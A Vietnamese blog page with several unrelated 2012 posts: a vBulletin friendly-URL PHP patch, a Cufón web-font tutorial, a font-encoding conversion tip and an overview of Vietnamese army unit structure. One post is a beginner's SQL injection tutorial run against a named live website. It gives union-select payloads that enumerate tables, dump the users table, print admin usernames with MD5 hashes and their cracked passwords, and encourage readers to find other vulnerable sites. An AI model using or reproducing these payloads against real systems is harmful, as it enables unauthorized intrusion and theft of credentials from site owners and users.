Pages

Thứ Năm, 21 tháng 6, 2012

Mod Friendly url vbb 4.2.0 - fix lỗi url tiếng việt vbulletin 4.2


ACP >> vBulletin Options >> Friendly URLs : Mod Rewrite Friendly URLs



3. Mở file includes/class_friendly_url.php và tìm

Code:
$fragment = preg_replace(self::CLEAN_URL_REGEX, '-', strip_tags($fragment)); 
        $fragment = trim(preg_replace('#-+#', '-', $fragment), '-');

Thay thế thành

Code:
$translite_simbols = array (  
'#(à|á|ạ|ả|ã|â|ầ|ấ|ậ|ẩ|ẫ|ă|ằ|ắ|ặ|ẳ|ẵ)#',  
'#(è|é|ẹ|ẻ|ẽ|ê|ề|ế|ệ|ể|ễ)#',  
'#(ì|í|ị|ỉ|ĩ)#',  
'#(ò|ó|ọ|ỏ|õ|ô|ồ|ố|ộ|ổ|ỗ|ơ|ờ|ớ|ợ|ở|ỡ)#',  
'#(ù|ú|ụ|ủ|ũ|ư|ừ|ứ|ự|ử|ữ)#',  
'#(ỳ|ý|ỵ|ỷ|ỹ)#',  
'#(đ)#',  
'#(À|Á|Ạ|Ả|Ã|Â|Ầ|Ấ|Ậ|Ẩ|Ẫ|Ă|Ằ|Ắ|Ặ|Ẳ|Ẵ)#',  
'#(È|É|Ẹ|Ẻ|Ẽ|Ê|Ề|Ế|Ệ|Ể|Ễ)#',  
'#(Ì|Í|Ị|Ỉ|Ĩ)#',  
'#(Ò|Ó|Ọ|Ỏ|Õ|Ô|Ồ|Ố|Ộ|Ổ|Ỗ|Ơ|Ờ|Ớ|Ợ|Ở|Ỡ)#',  
'#(Ù|Ú|Ụ|Ủ|Ũ|Ư|Ừ|Ứ|Ự|Ử|Ữ)#',  
'#(Ỳ|Ý|Ỵ|Ỷ|Ỹ)#',  
'#(Đ)#',  
"/[^a-zA-Z0-9\-\_]/",  
) ;  
$replace = array (  
'a',  
'e',  
'i',  
'o',  
'u',  
'y',  
'd',  
'A',  
'E',  
'I',  
'O',  
'U',  
'Y',  
'D',  
'-',  
) ;  
$fragment = preg_replace($translite_simbols, $replace, $fragment);  
$fragment = preg_replace('/(-)+/', '-', $fragment);

Thêm .html vào cuối link:

Mở file includes/class_friendly_url.php
Tìm return $fragment; ra cái đầu tiên á (dòng 410 trên VBB 4.2), thêm vào trước dòng sau:
$fragment = $fragment.".html";

Thứ Ba, 5 tháng 6, 2012

Thay thế font hoàn hảo với Cufón

Chắc hẳn bạn đã từng một lần sử dụng sFIR (Scalable Inman Flash Replacement) khi thiết kế những Website để tạo ra những phong cách typography ấn tượng. Còn nếu ai chưa từng sử dụng thì có thể hiểu sFIR nôm na là cách sử dụng Flash để thay thế và hiển thị text trên website. Dễ hiểu hơn nữa thì như sau, bạn muốn website của mình sử dụng một font chữ bay bổng, ấn tượng nào đó, nhưng để người xem nhìn được font đó thì trên máy tính của người đó phải cài font đó rồi, do đó sFIR ra đời để vẫn có thể hiện thì font theo ý muốn mà không cần biết máy người dùng đã cài font đó hay chưa.
Khi sử dụng sFIR thì một trở ngại duy nhất đó là trình duyệt phải cài Flash Plugin. Nếu Flash plugin không cài thì mọi thứ chúng ta làm đều về mo hết. Để giải quyết những khó khăn đó Cufon đã được ra đời, với chức năng giống với sFIR nhưng khác ở chỗ Cufon không sử dụng Flash mà đơn thuần chỉ sự dụng JavaScript để render font với Canvas hoặc VML. Do vậy khi sử dụng Cufon chúng ta có thể chạy được hầu hết các trình duyệt phổ biến hiện nay.
Bước 1: Tạo font
Trước hết, bạn cần download cufon, và sử dụng công cụ generator của Cufón để tạo và tùy biến cách mà font được thể hiện. Tôi rất ấn tượng với các lựa chọn mà Cufón cung cấp khi tạo font. Sau khi tạo xong bạn sẽ có được link download file javascript với các thông tin về font mà Cufón có thể đọc nó. (Ở đây tôi dùng font Comfortaa)
Bước 2: Thêm Cufon và font bạn vừa tạo
Thêm Cufón và font bạn vừa tạo vào website
<script type="text/javascript" src="js/cufon-yui.js"></script>
<script type="text/javascript" src="js/Comfortaa_400.font.js"></script>
Bước 3: Chọn các phần thay thế
Theo tôi bạn không nên chọn thay thế quá nhiều text trên website (nó sẽ tốn nhiều tài nguyên của client) mà chỉ nên chọn cho các tiêu đề chính. Để thay thế bạn thêm vào đoạn mã sau:
<script type="text/javascript">
Cufon.replace('#cufon-area h2, #cufon-area h3');
</script>
Nói thêm chút khi sinh file js từ một file font, chúng ta chỉ nên chọn những tập hợp ký tự mà mình sử dụng, vì nếu chọn tất cả các ký tự sẽ làm file js trở nên phình to, lúc load trang web sẽ ảnh hưởng đến tốc độ. Tập hợp ký tự tiếng Việt của chúng ta được mình gom lại dưới đây.
àáạảãâầấậẩẫăằắặẳẵèéẹẻẽêềếệểễìíịỉĩòóọỏõôồốộổỗơờớợởỡùúụủũưừứựửữỳýỵỷỹđÀÁẠẢÃÂẦẤẬ
ẨẪĂẰẮẶẲẴÈÉẸẺẼÊỀẾỆỂỄÌÍỊỈĨÒÓỌỎÕÔỒỐỘỔỖƠỜỚỢỞỠÙÚỤỦŨƯỪỨỰỬỮỲÝỴỶỸĐ
Demo
Còn đây là một số ý kiến (trích từ Hutek)
- Có thể nó là Cufón làm rất tốt nhiệm vụ của mình, hoạt động tốt với các trình duyệt và load khá nhanh.
- Có một vấn đề là để đỡ rắc rối thì chúng ta nên dùng font unicode để thay thế với Cufón nhưng nguồn font Unicode đẹp thì rất hiếm, nhưng may mắn cho các bạn là mình cũng vừa tìm được một trang có rất nhiều font đẹp đó là fontchudeputm.blogspot.com. Ở đây các font đều là font Unicode nên bạn có thể tha hồ chọn cho mình một font ưng ý.
- Một vấn đề nữa là các bạn nếu ko quen thì sẽ hơi lúng túng trong việc tạo file js của font cần thay thế, nếu vậy thì các bạn có thể xem hình sau để rõ hơn
Cufón Generate
- Một vấn đề cũng không kém phần quan trọng xin được khẳng định là dùng Cufón không ảnh hưởng gì đến SEO hết, đây thưc sự là một điều rất đáng quý mà Cufón đã làm được. Lý do là bởi vì Cufón dùng js để thay thế text trong khi các máy tìm kiếm chỉ đọc html mà không render js như trình duyệt.
Tóm lại là nếu các bạn muốn tạo phong cách riêng, không đụng hàng cho blog thì Cufón chính là một trong những sự lựa chọn tốt cho bạn và đừng quên donate cho tác giả vì đã tạo ra ứng dụng tuyệt vời này nhé

Thứ Tư, 30 tháng 5, 2012

Chuyển từ font VNI-Times sang Time New Roman trong word

Nếu máy bạn có cài Unikey thì việc này thực hiện như sau:
- Mở file word ra.
- Đánh dấu chọn tất cả (hoặc phần văn bản muốn chuyển đổi)
- Copy vào clipboard (Ctrl + C)
-  Ấn Ctrl + Shiff + F6 hiện hộp thoại Unikey Toolkit
- Trong phần Bảng mã, chọn nguồn(source) là "VNI-Windows" (bảng mã của VNI-Times). Bảng mã đích(destination) chọn là Unicode (bảng mã của Time New Roman)
- Chọn convert --> Successful -->close
- Kết quả sẽ lưu vào clipboard, bạn có thể mở tài liệu mới và paste nó vào. Nếu bạn không muốn giữ file gốc thì có thể paste trực tiếp vào file đang mở cũng được. Lưu ý sau khi paste vào file cũ nếu font lỗi thì quét chọn tất cả chọn font Time New Roman ---> okie.

Hướng Dẫn Hack Website Lỗi SQL Cơ Bản

Hướng Dẫn Hack website lỗi MYSQL cho newbie:


Bước 1: Tìm Đường link bị lỗi

+) Search đường link bi lỗi, ví dụ: http://www.konka.co.nz/productdetail.php?id=34

+) Kiểm tra đường link có bị lỗi hay ko bằng cách thêm dấu " ' ": http://www.konka.co.nz/productdetail.php?id=34’

+) Nó hiện ra lỗi nè: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1


Bước 2: Xác Định Số Cột Có Trong Database

+) Chèn sau url đoạn mã : order by ….-- (… là giá trị số, thứ cho đến khi nào link bị lỗi thì dừng lại )
Ví dụ: http://www.konka.co.nz/productdetail.php?id=34 order by 4--

+) Site vẫn không hiện ra lỗi, tiếp tục thử:
http://www.konka.co.nz/productdetail.php?id=34 order by 20--

Nó hiện ra lỗi rồi kìa: Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /usr/local/www/vhosts/konka.co.nz/httpdocs/productdetail.php on line 26

+) Chứng tỏ số cột cần tìm nằm giữa 4 và 20, tiếp tục thử:
http://www.konka.co.nz/productdetail.php?id=34 order by 10--

+) Nó ko hiện ra lỗi, chứng tỏ số cột cần tìm nằm giữa 10 và 20, tiếp tục thử
http://www.konka.co.nz/productdetail.php?id=34 order by 15--

+) Vẫn không hiện ra lỗi, tiếp tục:
http://www.konka.co.nz/productdetail.php?id=34 order by 16—

Ah` ha, nó ra lỗi rồi: Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /usr/local/www/vhosts/konka.co.nz/httpdocs/productdetail.php on line 26
Suy ra số cột có trong database là 16 -1 =15
Ok. Bắt đầu khai thác tiếp.


Bước 3: Exploit Tên Các Tables TRong Database:

+) Đánh sau link lỗi đoạn mã: and 1=0 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--
Mục đích: Tìm cột bị lỗi để khai thác từ cột đó khai thác ra toàn bộ database.
Ví dụ: http://www.konka.co.nz/productdetail.php?id=34 and 1=0 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--

+) Ok! Đã tìm ra cột bị lỗi: đó là số “ 3 ”, tiếp tục khai thác, chèn đoạn mã này vào số 3: unhex(hex(group_concat(table_name))) và câu lệnh sau số 15: from information_schema.tables

Ví du: http://www.konka.co.nz/productdetail.php?id=34 and 1=0 union select 1,2,unhex(hex(group_concat(table_name))),4,5,6,7,8 ,9,10,11,12,13,14,15 from information_schema.tables--

+) Nó đa hiện ra toàn bộ tên bảng có trong database:

CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,COLUMNS,COLUMN_PRIVILEGES,KEY_COLUMN _USAGE,PROFILING,ROUTINES,SCHEMATA,SCHEMA_PRIVILEG ES,STATISTICS,TABLES, TABLE_CONSTRAINTS, TABLE_PRIVI LEGES, TRIGGERS,USER_PRIVILEGES,VIEWS,active_guests ,active_users,banned_users,tb_cat,tb_news,tb_news_ category,tb_page,tb_page_category,tb_product,tb_pr oduct_category,tb_product_model,tb_product_pixel,t b_product_price, tb_product_selection,tb_product_su b_category,tb_return,tb_return_comments,tb_return_ status,users

+) Ta chú ý thấy table có tên users sẽ chứa thông tin về tài khoản admin. Ok, ta sẽ khai thác table này:
Chèn đoạn mã này vào số 3: unhex(hex(group_concat(column_name))) và câu lệnh sau số 15: from information_schema.columns where table_name=0x7573657273--
lưu ý: 7573657273 chính là users ở dạng hex, ta có thể chuyển đổi từ dạng chuỗi sang dạng hex, bằng cách: vao google đánh:” convert string to hex” sẽ có link chuyển đổi ở đâu tiên: http://www.string-functions.com/string-hex.aspx

Ví dụ: http://www.konka.co.nz/productdetail.php?id=34 and 1=0 union select 1,2, unhex(hex(group_concat(column_name))),4,5,6,7,8,9, 10,11,12,13,14,15 from information_schema.columns where table_name=0x7573657273--

Ok, ta đã có thông tin về tên các cột trong table “users”:
username,password,userid,userlevel,email,timestamp
Chúng ta đã thấy cột username và password, tiếp tục khai thác để lấy thông tin


Bước 4:

+) Chèn đoạn mã sau vào số 3: group_concat(username,0x3a,password) và sau số 15 sẽ là: from users-- (đây chính là table chứa username và password mà ta đang khai thác).
Lưu ý: 0x3a chính là ký tự “:” ngăn cách username và password, hoặc 0x2f hay 0x7c là “/”

Ví dụ: : http://www.konka.co.nz/productdetail.php?id=34 and 1=0 union select 1,2,group_concat(username,0x3a,password),4,5,6,7,8 ,9,10,11,12,13,14,15 from users--

+) Ok, ta đã thấy username và password dưới dạng mã hóa md5:
admin:e10953e3b5537c441aa16defc89359b9,
admin1:e00c f25ad42683b3df678c61f42c6bda,
test1:147538da338b770 b61e592afc92b1ee6

+) Bây giờ ta giải mã password:
Vào link: http://www.md5cracker.org
Ta giải mã được password của username: admin là : linwood36
Username: admin1 là: admin1
Username: test1 là : testt



Bước 5:

+) Tìm link admin và đăng nhập vào ( đây là nhiệm vụ của bạn nhé!).( Bạn có thể sử dụng tool havij hoặc find admin)

Kết luận: +) Đây là dạng hack website lỗi SQL rất cơ bản, Mình muốn giới thiệu cho các newbie băt đầu làm quen với hack web, các pro trình độ cao rồi đừng có chém nhá

+)Còn các trang web lỗi SQl thì nhiêu vô kể, các bạn có thể tự tìm lấy, tất nhiên mỗi lỗi có những cách khai thác khác nhau.

By: ducdung.08clc

Thứ Ba, 29 tháng 5, 2012

Giải thích về quân số, cấp bậc của QĐNNVN

Giải thích: 1 tiểu đội, trung đội, đại đội, tiểu đoàn, trung đoàn, lữ đoàn, sư đoàn, quân đoàn có bao nhiêu người và cấp bậc của chỉ huy Quân Đội Nhân Dân Việt Nam.



Trong các tài liệu chính thống của QĐNDVN hiện nay, tên gọi các cấp theo thứ tự từ thấp đến cao như sau :

- Tổ chiến đấu.

- Tiểu đội (squad). Kí hiệu : a.

- Trung đội (platoon). Kí hiệu : b.

- Đại đội (company, battery, troop). Kí hiệu : c.

- Tiểu đoàn (battalion, squadron). Kí hiệu : d.

- Trung đoàn (regiment, group). Kí hiệu : e.

- Lữ đoàn (brigade). Không có kí hiệu.

- Sư đoàn (division). Kí hiệu : f.

- Quân đoàn (corps). Không có kí hiệu.

- Tập đoàn quân (army).

- Phương diện quân (front), Cụm Tập đoàn quân (Army Group).

(2 cấp sau cùng không có trong biên chế của QĐNDVN)

Ở đây chỉ đề cập đến biên chế thường gặp nhất, trong thực tế có thể cùng 1 cấp, nhưng tổ chức trang bị lại khác xa nhau, tuỳ thuộc vào mỗi quân đội, quân binh chủng, thời kỳ, nhiệm vụ, hoàn cảnh cụ thể.... đặc biệt là trong thời chiến. Do vậy tất cả chỉ có tính chất tương đối.


Về bộ binh, thành phần tổ chức cơ bản nhất của QĐNDVN là tổ chiến đấu gồm 3 người, thường được gọi là tổ "tam tam".

Các cấp sau được tổ chức theo nguyên tắc "tam tam chế".

Tiểu đội có 3 cấp cơ bản là 7, 9 và 12 người. Phổ biến nhất là 9 người chia thành 3 tổ chiến đấu. Vũ khí có thể là 1 B-40/41, 1 M-79, 1 trung liên RPD/RPK hoặc đại liên cá nhân PK (hiếm), còn lại là AK.

Trung đội gồm 3 tiểu đội và trung đội bộ, quân số từ 20-36 người.

Đại đội gồm :
- 3 trung đội bộ binh.
- Đại đội bộ gồm chỉ huy đại đội + một số trinh sát, liên lạc, thông tin.
Quân số đại đội khoảng 80-120 người.

Tiểu đoàn gồm :
- Tiểu đoàn bộ, tương đương 1 trung đội gồm chỉ huy tiểu đoàn, bộ phận vệ binh, trinh sát, công binh, thông tin.
- 3 đại đội bộ binh.
- 1 đại đội hoả lực, thường bao gồm các trung đội : B-41, đại liên (K-53/63), cối (60mm và 82mm), chống tăng (ĐKZ 75/82mm), phòng không (DShk 12,7mm).
- Các trung đội công binh, thông tin, vận tải, quân y.
Quân số tiểu đoàn từ 300-500 người.

Trung đoàn gồm :
- Trung đoàn bộ, gồm chỉ huy trung đoàn, bộ phận vệ binh, trinh sát, công binh, thông tin.
- 3 tiểu đoàn bộ binh.
- 3 đại đội hoả lực : cối (82mm), chống tăng (ĐKZ 75/82mm), phòng không (DShk 12,7mm).
- Các đại đội công binh, thông tin, vận tải, quân y.
Quân số trung đoàn từ 1.500-3.000 người.

Lữ đoàn gồm :
- Lữ đoàn bộ.
- 4 tiểu đoàn bộ binh.
- 1 tiểu đoàn pháo binh.
- 1 tiểu đoàn phòng không.
- Các đại đội công binh, thông tin, vận tải, trinh sát...
Quân số lữ đoàn khoảng 3.500 người.
Lữ đoàn có thể coi là sư đoàn rút gọn, được biên chế đầy đủ các thành phần binh chủng để đảm bảo khả năng tác chiến độc lập.

Sư đoàn bộ binh gồm :
- Sư đoàn bộ.
- 3 trung đoàn bộ binh.
- 1 trung đoàn pháo binh và 1 tiểu đoàn phòng không (37mm). Trung đoàn pháo này thường gồm các tiểu đoàn lựu pháo (105 hoặc 122mm), pháo nòng dài (76,2 hoặc 85mm), cối nặng (120 hoặc 160mm).
- Các tiểu đoàn công binh, thông tin, vận tải...
- Các đại đội đặc công, trinh sát, quân y, phòng hoá...
Trong một số trường hợp, sư đoàn còn được biên chế thêm 1 tiểu đoàn xe tăng hoặc pháo tự hành.

Sư đoàn bộ binh cơ giới gồm :
- Sư đoàn bộ.
- 3 trung đoàn bộ binh cơ giới.
- 1 trung đoàn pháo binh và các tiểu đoàn pháo chống tăng, pháo phản lực.
- 1 trung đoàn phòng không.
- 1 tiểu đoàn xe tăng.
- Các tiểu đoàn trinh sát, công binh, quân y, vận tải, sửa chữa.
- Các đại đội vệ binh, phòng hoá.

Quân số sư đoàn nói chung từ 8.000-10.000 người.

Quân đoàn, là cấp lớn nhất trong biên chế QĐNDVN, bao gồm :
- Quân đoàn bộ.
- 3-5 sư đoàn bộ binh.
- 1 lữ đoàn xe tăng thiết giáp.
- 1 lữ đoàn pháo binh : pháo tầm xa 122, 130, 155mm, pháo phản lực H-12, BM-13/14/21...
- 1 lữ đoàn phòng không : cao xạ 37mm, 57mm.
- 1 lữ đoàn công binh.
- 1 trung đoàn thông tin.
- Các đơn vị khác như đặc công, trinh sát, phòng hoá, vận tải....
Quân số quân đoàn khoảng từ 30.000-50.000 người.


Đối với tăng thiết giáp :
- Trung đội : 2-5 xe.
- Đại đội : 2-3 trung đội, 5-10 xe.
- Tiểu đoàn : 2-3 đại đội, 15-30 xe.
- Trung đoàn : 2-4 tiểu đoàn, 60-80 xe.
- Lữ đoàn : 3-5 tiểu đoàn, 80-100 xe.
Trong biên chế trung và lữ đoàn thường có ít nhất 1 tiểu đoàn xe bọc thép chở bộ binh.

Đối với pháo binh, phòng không, hoả lực :
- Khẩu đội : 1 khẩu.
- Trung đội : 2-3 khẩu.
- Đại đội : 2-3 trung đội, gồm 4-6 khẩu.
- Tiểu đoàn : 2-3 đại đội, gồm 8-12 khẩu.
- Trung đoàn : 2-3 tiểu đoàn, gồm 20-36 khẩu.
- Lữ đoàn : 3-5 tiểu đoàn, khoảng 40-50 khẩu.
- Sư đoàn : gồm một số trung đoàn cao xạ và/hoặc TLPK.

Riêng tiểu đoàn tên lửa phòng không có 6 dàn phóng.
Trung đoàn TLPK gồm 4-6 tiểu đoàn hoả lực và 1-2 tiểu đoàn đảm bảo kỹ thuật.
Lữ đoàn TLPK gồm 8 tiểu đoàn hoả lực, 2 tiểu đoàn kỹ thuật cùng các đơn vị thông tin, radar, sở chỉ huy tự động....

Có 1 điểm cần lưu ý, tiếng Anh có từ battery để chỉ 1 cụm súng/pháo/tên lửa gồm 6-9 khẩu, từ điển thông thường dịch thành "khẩu đội" là sai. Battery tương đương đại đội súng/pháo hoặc tiểu đoàn TLPK, khẩu đội thì chỉ duy nhất có 1 khẩu.

Đối với không quân :
- Biên đội : 4-6 máy bay.
- Tiểu đoàn : 8-12 máy bay.
- Trung đoàn : 20-30 máy bay.
- Sư đoàn : gồm một số trung đoàn.

Sau 75, biên chế KQNDVN được tổ chức lại, 1 trung đoàn KQ chiến đấu có 3 phi đội. Như vậy mỗi phi đội sẽ có khoảng 8-12 máy bay.